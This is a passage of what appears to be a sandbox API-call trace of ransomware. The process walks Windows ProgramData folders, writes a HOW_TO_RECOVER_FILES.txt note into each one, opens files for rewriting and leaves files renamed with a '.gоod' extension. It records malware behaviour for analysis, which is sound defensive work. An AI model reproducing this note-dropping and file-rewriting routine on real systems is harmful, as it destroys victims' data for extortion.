lpBuffer="C:\\Users\\All Users\\Microsoft\\Speech_OneCore\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x44 [0146.276] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb140) returned 1 [0146.276] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Speech_OneCore\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\speech_onecore\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0146.277] GetFileType (hFile=0x630) returned 0x1 [0146.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0b0) returned 1 [0146.277] GetFileType (hFile=0x630) returned 0x1 [0146.277] WriteFile (in: hFile=0x630, lpBuffer=0x368ff30*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fb208, lpOverlapped=0x0 | out: lpBuffer=0x368ff30*, lpNumberOfBytesWritten=0x10fb208*=0x5d0, lpOverlapped=0x0) returned 1 [0146.278] CloseHandle (hObject=0x630) returned 1 [0146.279] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0146.279] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Storage Health", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Storage Health", lpFilePart=0x0) returned 0x2b [0146.279] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Storage Health\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x291fc541, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2951d397, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0146.279] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x291fc541, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2951d397, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.279] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2951d397, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x2951d397, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2951d397, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0146.279] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb4dcad0, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xcb4dcad0, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x291fc541, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1581, dwReserved0=0x0, dwReserved1=0x0, cFileName="StorageEventsArchive.dat.gоod", cAlternateFileName="STORAG~1.GOD")) returned 1 [0146.279] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x529e643a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x529e643a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x529e643a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1375f, dwReserved0=0x0, dwReserved1=0x0, cFileName="StorageHealthModel.dat", cAlternateFileName="")) returned 1 [0146.280] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0146.280] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0146.280] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0146.280] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0146.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0146.280] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Storage Health", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Storage Health", lpFilePart=0x0) returned 0x2b [0146.280] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Storage Health\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x2951d397, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2951d397, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0146.280] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x2951d397, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2951d397, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.280] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2951d397, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x2951d397, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2951d397, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0146.281] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb4dcad0, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xcb4dcad0, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x291fc541, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1581, dwReserved0=0x0, dwReserved1=0x0, cFileName="StorageEventsArchive.dat.gоod", cAlternateFileName="STORAG~1.GOD")) returned 1 [0146.281] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x529e643a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x529e643a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x529e643a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1375f, dwReserved0=0x0, dwReserved1=0x0, cFileName="StorageHealthModel.dat", cAlternateFileName="")) returned 1 [0146.281] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x529e643a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x529e643a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x529e643a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1375f, dwReserved0=0x0, dwReserved1=0x0, cFileName="StorageHealthModel.dat", cAlternateFileName="")) returned 0 [0146.281] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0146.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0146.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0146.281] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Storage Health\\StorageHealthModel.dat", nBufferLength=0x105, lpBuffer=0x10faab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Storage Health\\StorageHealthModel.dat", lpFilePart=0x0) returned 0x42 [0146.281] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10faf80) returned 1 [0146.281] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Storage Health\\StorageHealthModel.dat" (normalized: "c:\\users\\all users\\microsoft\\storage health\\storagehealthmodel.dat"), fInfoLevelId=0x0, lpFileInformation=0x369f808 | out: lpFileInformation=0x369f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x529e643a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x529e643a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x529e643a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1375f)) returned 1 [0146.282] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10faf40) returned 1 [0146.282] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Storage Health\\StorageHealthModel.dat", nBufferLength=0x105, lpBuffer=0x10fa960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Storage Health\\StorageHealthModel.dat", lpFilePart=0x0) returned 0x42 [0146.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fae80) returned 1 [0146.282] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Storage Health\\StorageHealthModel.dat" (normalized: "c:\\users\\all users\\microsoft\\storage health\\storagehealthmodel.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0146.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f7870) returned 1 [0146.284] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Storage Health\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fac20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Storage Health\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x44 [0146.284] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb140) returned 1 [0146.284] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Storage Health\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\storage health\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0146.285] GetFileType (hFile=0x630) returned 0x1 [0146.285] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0b0) returned 1 [0146.285] GetFileType (hFile=0x630) returned 0x1 [0146.286] WriteFile (in: hFile=0x630, lpBuffer=0x36a2380*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fb208, lpOverlapped=0x0 | out: lpBuffer=0x36a2380*, lpNumberOfBytesWritten=0x10fb208*=0x5d0, lpOverlapped=0x0) returned 1 [0146.287] CloseHandle (hObject=0x630) returned 1 [0146.287] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0146.287] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV", lpFilePart=0x0) returned 0x20 [0146.287] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe3615f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2e6b4abc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0146.287] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe3615f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2e6b4abc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.287] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e6b4abc, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x2e6b4abc, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2e6b4abc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0146.287] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46867b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InboxTemplates", cAlternateFileName="INBOXT~1")) returned 1 [0146.288] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe469068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scripts", cAlternateFileName="")) returned 1 [0146.288] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46954b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0146.288] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46954b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0 [0146.288] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0146.288] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0146.288] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0146.288] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0146.288] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV", lpFilePart=0x0) returned 0x20 [0146.288] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x2e6b4abc, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2e6b4abc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0146.289] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x2e6b4abc, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2e6b4abc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.289] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e6b4abc, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x2e6b4abc, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2e6b4abc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0146.289] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46867b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InboxTemplates", cAlternateFileName="INBOXT~1")) returned 1 [0146.289] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe469068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scripts", cAlternateFileName="")) returned 1 [0146.289] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46954b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0146.289] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0146.289] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0146.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0146.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0146.290] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0146.290] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates", lpFilePart=0x0) returned 0x2f [0146.290] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46867b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2e3b99ea, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0146.290] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46867b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2e3b99ea, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.291] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf88ddb5, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf88ddb5, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x4771, dwReserved0=0x0, dwReserved1=0x0, cFileName="DesktopSettings2013.xml", cAlternateFileName="")) returned 1 [0146.291] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x173d, dwReserved0=0x0, dwReserved1=0x0, cFileName="EaseOfAccessSettings2013.xml", cAlternateFileName="")) returned 1 [0146.291] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e3b99ea, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x2e3b99ea, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2e3b99ea, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0146.291] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc27, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftInternetExplorer2013.xml", cAlternateFileName="")) returned 1 [0146.291] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79ac20de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79ac20de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftInternetExplorer2013Backup.xml", cAlternateFileName="")) returned 1 [0146.291] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf80, dwReserved0=0x0, dwReserved1=0x0, 